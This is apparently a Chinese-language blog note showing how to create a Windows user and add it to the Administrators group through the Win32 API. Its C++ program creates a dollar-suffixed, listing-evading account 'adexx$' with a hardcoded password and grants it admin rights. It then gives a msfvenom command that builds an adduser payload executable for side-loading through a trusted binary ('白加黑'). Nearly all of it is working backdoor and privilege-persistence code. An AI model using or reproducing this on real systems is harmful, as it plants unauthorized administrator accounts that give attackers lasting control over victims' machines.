实现:API实现创建用户并且添加至管理员
前言:API实现创建用户并且添加至管理员笔记
参考文章:https://www.cnblogs.com/17bdw/p/6790197.html#_label0
win32实现用户添加
利用的API函数
- NetUserAdd
 
NetUserAdd
NET_API_STATUS NET_API_FUNCTION
NetUserAdd (
    IN  LPCWSTR     servername OPTIONAL,  //指定远程服务器的DNS或NetBIOS名称的函数来执行。如果该参数为NULL,使用本地计算机。
    IN  DWORD      level,
    IN  LPBYTE     buf,
    OUT LPDWORD    parm_err OPTIONAL
    );
- NetLocalGroupAddMembers
 
NetLocalGroupAddMembers
NET_API_STATUS NET_API_FUNCTION
NetLocalGroupAddMembers (
    IN  LPCWSTR     servername OPTIONAL,
    IN  LPCWSTR     groupname,
    IN  DWORD      level,
    IN  LPBYTE     buf,
    IN  DWORD      totalentries
    );
代码实现
实现过程:使用NetUserAdd这个API添加普通权限的用户,NetLocalGroupAddMembers这个API添加管理员权限。
windows_api.cpp
// windows_api.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
  
#include "pch.h"
#include <iostream>
#include<stdio.h>  
#include<windows.h>  
#include<lm.h>  
#pragma comment(lib,"netapi32")
int wmain(int argc, wchar_t *argv[])
{
	// 定义USER_INFO_1结构体
	USER_INFO_1 ui;
	DWORD dwError = 0;
	//小笔记 LPWSTR 是 wchar_t *   , L"zzzhh" 类型是const wchar_t[6] 可以隐式转换为const whcar_t *
	wchar_t username[] = L"adexx$";
	ui.usri1_name = username;            // 账户   
	wchar_t password[] = L"adexx!@#QWE";
	ui.usri1_password = password;      // 密码
	ui.usri1_priv = USER_PRIV_USER;
	ui.usri1_home_dir = NULL;
	ui.usri1_comment = NULL;
	ui.usri1_flags = UF_SCRIPT;
	ui.usri1_script_path = NULL;
	//添加名为adexx的用户,密码为p@adexx!@#QWE
	if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
	{
		std::cout << "普通用户添加成功" << std::endl;
	}
	else
	{
		//添加失败
		std::cout << "普通用户添加失败" << std::endl;
	}
	// 添加用户到administrators组
	LOCALGROUP_MEMBERS_INFO_3 account;
	account.lgrmi3_domainandname = ui.usri1_name;
	if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
	{
		//添加成功    
		std::cout << "管理员用户添加成功" << std::endl;
	}
	else
	{
		//添加失败    
		std::cout << "管理员用户添加失败" << std::endl;
	}
	return 0;
}
shellcode生成用于白加黑
通过msfvenom来生成相关的shellcode,如下图所示
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

                
            
        
浙公网安备 33010602011771号